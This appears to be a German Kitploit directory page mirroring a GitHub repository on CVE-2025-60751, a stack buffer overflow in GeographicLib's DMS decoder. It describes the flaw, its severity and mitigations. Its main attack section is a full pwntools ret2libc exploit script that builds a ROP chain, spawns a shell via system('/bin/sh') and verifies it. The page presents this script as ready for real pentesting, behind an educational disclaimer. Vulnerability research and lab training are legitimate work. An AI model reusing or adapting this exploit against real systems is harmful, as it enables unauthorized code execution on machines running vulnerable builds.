Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-60751 — Technische Analyse und professioneller Exploit für CVE-2025-60751, einen Stack-basierten Pufferüberlauf in GeographicLib. Enthält einen pwntools-basierten Ret2Libc-Exploit mit dynamischer ROP-Gadget-Erkennung, GDB-Integration und Post-Exploit-Verifizierung für pädagogische Penetrationstests. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2025-60751
SchwachstellenanalyseExploitationReverse EngineeringShellcodeDebuggerPenetrationstestsLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Technische Analyse und professioneller Exploit für CVE-2025-60751, einen Stack-basierten Pufferüberlauf in GeographicLib. Enthält einen pwntools-basierten Ret2Libc-Exploit mit dynamischer ROP-Gadget-Erkennung, GDB-Integration und Post-Exploit-Verifizierung für pädagogische Penetrationstests.

Teilen

CVE-2025-60751: Stack-basierter Pufferüberlauf in GeographicLib

📌 Dieses Repository enthält die Analyse und technische Dokumentation der Schwachstelle CVE-2025-60751, eines stapelbasierten Pufferüberlaufs (Stack-based Buffer Overflow) in der C++-Bibliothek GeographicLib.


📝 Beschreibung

Die Schwachstelle befindet sich in der Funktion DMS::InternalDecode innerhalb der Komponente GeoConvert.
Der Fehler tritt auf, wenn die Bibliothek versucht, fehlerhafte oder übermäßig lange Koordinatenketten im Format DMS (Grad, Minuten, Sekunden) zu verarbeiten, was zu einem Schreiben außerhalb der Grenzen des auf dem Stapel zugewiesenen Puffers führt.

  • Kennung: CVE-2025-60751
  • Komponente: GeoConvert / DMS::InternalDecode
  • Typ: Stack-based Buffer Overflow ()
CWE-121
  • Schweregrad (CVSS 3.1): 7.5 HIGH
  • Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 Auswirkung

    Ein entfernter Angreifer kann eine speziell gestaltete Koordinatenkette senden, um:

    • Denial of Service (DoS): Unerwartetes Beenden (Absturz) von Anwendungen verursachen, die GeographicLib zur Koordinatenumwandlung verwenden.
    • Systeminstabilität: Beschädigung des benachbarten Stapelspeichers, was den Ausführungsfluss des Programms beeinträchtigt.

    ⚠️ Technischer Hinweis: Obwohl sich der aktuelle Vektor auf Verfügbarkeit (A:H) konzentriert, könnte dieser Fehler in bestimmten Umgebungen ohne moderne Speicherschutzmechanismen (wie Stack Canaries, NX-Bit oder ASLR) möglicherweise zu beliebiger Codeausführung eskalieren.


    💻 Betroffene Systeme

    ProduktVerwundbare VersionErkannte Distributionen
    GeographicLib2.5Pakete in Debian LTS, Ubuntu und anderen Linux-Repositorien, die diese Version enthalten

    🛠️ Minderung und Lösung

    ✅ Aktualisierung: Es wird dringend empfohlen, auf die neueste verfügbare Version von GeographicLib zu aktualisieren, in der die Längenvalidierung in InternalDecode korrigiert wurde.

    ✅ Eingabevalidierung: Falls eine Aktualisierung nicht möglich ist, implementieren Sie eine Bereinigungsschicht, die die Länge der an DMS::Decode gesendeten Zeichenketten begrenzt (z. B. max. 32 Zeichen).

    ✅ Sichere Kompilierung: Stellen Sie sicher, dass Sie die Bibliothek mit Stack-Schutz-Flags kompilieren:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 Referenzen

    • Issue #43 – GeographicLib GitHub
    • Technische Analyse von zer0matt
    • Debian LTS Advisory

    💀 Professioneller Exploit (Fortgeschritten — OSCP / Exploit-DB Style)

    Dieser Exploit verwendet pwntools, um einen Ret2Libc-Angriff unter Ausnutzung des Pufferüberlaufs durchzuführen.
    Im Gegensatz zu Basisversionen ist diese Implementierung robust, dynamisch und überprüfbar und bereit für reale Pentesting- und Laborumgebungen.

    ✅ Was macht es "Pro"?

    EigenschaftNutzen
    Dynamisches ROP(elf)Hängt nicht von hartcodierten Gadgets ab: findet sie automatisch im Binärlauf.
    Integrierter Support für GDBFührt python exploit.py GDB aus → öffnet automatisch eine Debugging-Sitzung.
    Post-Exploit-ÜberprüfungSendet id und bestätigt Shell, bevor die interaktive Kontrolle übergeben wird.
    RET für Stack-AusrichtungVermeidet Abstürze in system() aufgrund falscher Ausrichtung (entscheidend auf x64).
    Payload als list + b"".join() strukturiertSauber, lesbar, einfach zu modifizieren und zu erweitern.

    🐍 Exploit-Code (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ Haftungsausschluss
    Dieses Repository dient ausschließlich Informations- und Bildungszwecken für Cybersicherheitsfachleute.
    Die Verwendung dieser Informationen für illegale Zwecke liegt in der alleinigen Verantwortung des Benutzers.
    ❗ Verwende den Code mit Vorsicht: nur in autorisierten, isolierten Umgebungen mit ausdrücklicher Genehmigung.


    🔐 Sicherheit ist keine Eigenschaft – es ist eine Disziplin.
    📬 Fundmeldung: [email protected]
    📦 Offizielles Repository: https://github.com/geographiclib/geographiclib

    Tool herunterladen